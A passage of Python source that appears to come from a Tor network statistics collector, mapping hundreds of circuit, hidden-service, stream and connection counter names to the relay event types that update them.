'Rend3MultiHopServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
# circuit failure reason count lists
'OriginFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'OriginActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'OriginInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'EntryFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'EntryActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'EntryInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'MidFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'MidActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'MidInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'EndFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'EndActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'EndInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'SingleHopFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'SingleHopActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'SingleHopInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'ExitFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'DirFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDirFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDirClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDirServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDirTor2WebClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDirMultiHopClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDir2FailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDir2ClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDir2ServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDir3FailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDir3ClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDir3ServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroTor2WebClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroMultiHopClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroMultiHopServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUTor2WebClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUMultiHopClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2FailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2ActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2InactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2ClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2ClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2ClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2ServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2ServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2MultiHopClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3FailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3ActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3InactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3ClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3ClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3ClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3ServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3ServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3MultiHopClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendTor2WebClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendSingleOnionServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendMultiHopClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendMultiHopServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUTor2WebClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUMultiHopClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUMultiHopServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2FailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2ActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2InactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2ClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2ClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2ClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2ServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2ServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2MultiHopClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3FailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3ActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3InactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3ClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3ClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3ClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3ServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3ServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3MultiHopClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
# these counters depend on circuit end
# they are updated in _do_rotate,
# and use data updated in _handle_legacy_exit_circuit_event
'EntryClientIPCount' : { CIRCUIT_EVENT },
'EntryActiveClientIPCount' : { CIRCUIT_EVENT },
'EntryInactiveClientIPCount' : { CIRCUIT_EVENT },
'EntryClientIPActiveCircuitHistogram' : { CIRCUIT_EVENT },
'EntryClientIPInactiveCircuitHistogram' : { CIRCUIT_EVENT },
# these counters depend on stream end and circuit end
# they are updated in _handle_legacy_exit_circuit_event,
# and use data updated in _handle_stream_event
'ExitCircuitStreamHistogram' : { STREAM_EVENT, CIRCUIT_EVENT },
'ExitCircuitInterStreamCreationTime' : { STREAM_EVENT, CIRCUIT_EVENT },
'ExitWebCircuitCount' : { STREAM_EVENT, CIRCUIT_EVENT },
'ExitCircuitWebStreamHistogram' : { STREAM_EVENT, CIRCUIT_EVENT },
'ExitCircuitWebInterStreamCreationTime' : { STREAM_EVENT, CIRCUIT_EVENT },
'ExitInteractiveCircuitCount' : { STREAM_EVENT, CIRCUIT_EVENT },
'ExitCircuitInteractiveStreamHistogram' : { STREAM_EVENT, CIRCUIT_EVENT },
'ExitCircuitInteractiveInterStreamCreationTime' : { STREAM_EVENT, CIRCUIT_EVENT },
'ExitP2PCircuitCount' : { STREAM_EVENT, CIRCUIT_EVENT },
'ExitCircuitP2PStreamHistogram' : { STREAM_EVENT, CIRCUIT_EVENT },
'ExitCircuitP2PInterStreamCreationTime' : { STREAM_EVENT, CIRCUIT_EVENT },
'ExitOtherPortCircuitCount' : { STREAM_EVENT, CIRCUIT_EVENT },
'ExitCircuitOtherPortStreamHistogram' : { STREAM_EVENT, CIRCUIT_EVENT },
'ExitCircuitOtherPortInterStreamCreationTime' : { STREAM_EVENT, CIRCUIT_EVENT },
# these counters depend on connection close
# simple connection counts
'EntryConnectionCount' : { CONNECTION_EVENT },
'NonEntryConnectionCount' : { CONNECTION_EVENT },
# connection counts based on the number of relays sharing the remote address
'EntryNoRelayOnAddressConnectionCount' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCount' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCount' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCount' : { CONNECTION_EVENT },
# byte counts
'EntryConnectionByteCount' : { CONNECTION_EVENT },
'NonEntryConnectionByteCount' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionByteCount' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionByteCount' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionByteCount' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionByteCount' : { CONNECTION_EVENT },
'EntryConnectionInboundByteCount' : { CONNECTION_EVENT },
'NonEntryConnectionInboundByteCount' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionInboundByteCount' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionInboundByteCount' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionInboundByteCount' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionInboundByteCount' : { CONNECTION_EVENT },
'EntryConnectionOutboundByteCount' : { CONNECTION_EVENT },
'NonEntryConnectionOutboundByteCount' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionOutboundByteCount' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionOutboundByteCount' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionOutboundByteCount' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionOutboundByteCount' : { CONNECTION_EVENT },
# byte histograms per connection
'EntryConnectionByteHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionByteHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionByteHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionByteHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionByteHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionByteHistogram' : { CONNECTION_EVENT },
'EntryConnectionInboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionInboundByteHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionInboundByteHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionInboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionInboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionInboundByteHistogram' : { CONNECTION_EVENT },
'EntryConnectionOutboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionOutboundByteHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionOutboundByteHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionOutboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionOutboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionOutboundByteHistogram' : { CONNECTION_EVENT },
# circuit counts
'EntryConnectionCircuitCount' : { CONNECTION_EVENT },
'NonEntryConnectionCircuitCount' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCircuitCount' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCircuitCount' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCircuitCount' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCircuitCount' : { CONNECTION_EVENT },
'EntryConnectionInboundCircuitCount' : { CONNECTION_EVENT },
'NonEntryConnectionInboundCircuitCount' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionInboundCircuitCount' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionInboundCircuitCount' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionInboundCircuitCount' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionInboundCircuitCount' : { CONNECTION_EVENT },
'EntryConnectionOutboundCircuitCount' : { CONNECTION_EVENT },
'NonEntryConnectionOutboundCircuitCount' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionOutboundCircuitCount' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionOutboundCircuitCount' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionOutboundCircuitCount' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionOutboundCircuitCount' : { CONNECTION_EVENT },
# circuit count histograms by connection
'EntryConnectionCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionCircuitHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCircuitHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCircuitHistogram' : { CONNECTION_EVENT },
'EntryConnectionInboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionInboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionInboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionInboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionInboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionInboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryConnectionOutboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionOutboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionOutboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionOutboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionOutboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionOutboundCircuitHistogram' : { CONNECTION_EVENT },
# connection lifetime histograms
'EntryConnectionLifeTime' : { CONNECTION_EVENT },
'NonEntryConnectionLifeTime' : { CONNECTION_EVENT },
